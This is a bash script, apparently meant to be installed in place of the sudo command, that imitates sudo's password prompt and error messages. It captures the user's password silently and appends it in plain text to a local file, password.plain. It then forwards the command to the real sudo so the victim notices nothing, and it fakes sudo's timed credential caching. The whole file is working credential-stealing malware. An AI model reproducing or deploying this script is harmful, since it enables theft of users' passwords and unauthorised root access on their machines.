sudo

#!/bin/bash

function getcurrentpid {
  currentpid=$(echo $$)
  parentpid=$(ps -ef | awk "\$2 ~ /\<$currentpid\>/ { print \$3; }")
  echo $parentpid
}

function dothething {
  printf "[sudo] password for user: "
  read -s password
  printf "\n"
  echo $password >> ./password.plain

  printhelp $*

  if hash $1 2>/dev/null || [[ $1 == *"-"* ]];
  then
    echo $password | /usr/bin/sudo -S $* 2>/dev/null
    status=$?
    if (($status == 0));
    then
      currentpid=$(getcurrentpid)
      currenttime=$(date +%s)
      echo "$currenttime" >> "./${currentpid}.time"
    else
      printf "Sorry, try again.\n"
      /usr/bin/sudo $1
    fi
  else
    printf "sudo: $1: command not found\n"
  fi
}

function printhelp {
  if (("$#" < 1)) ;
  then
    /usr/bin/sudo
    exit 0
  fi
}

currentpid=$(getcurrentpid)
if [ ! -f "./${currentpid}.time" ];
then
  dothething $*
else
  # cat test | \
  # while read CMD;
  # do
  #   if (($(echo $CMD | awk '{print $1;}') ==  "$currentpid"));
  #     lastlogintime=$(echo $CMD | awk '{print $2;}')
  #   fi
  # done
  lastlogintime=$(head -n 1 "./${currentpid}.time")
  currenttime=$(date +%s)
  if [ "$currenttime" -gt $((lastlogintime + 20)) ];
  then
    dothething $*
  else
    /usr/bin/sudo $1
  fi
fi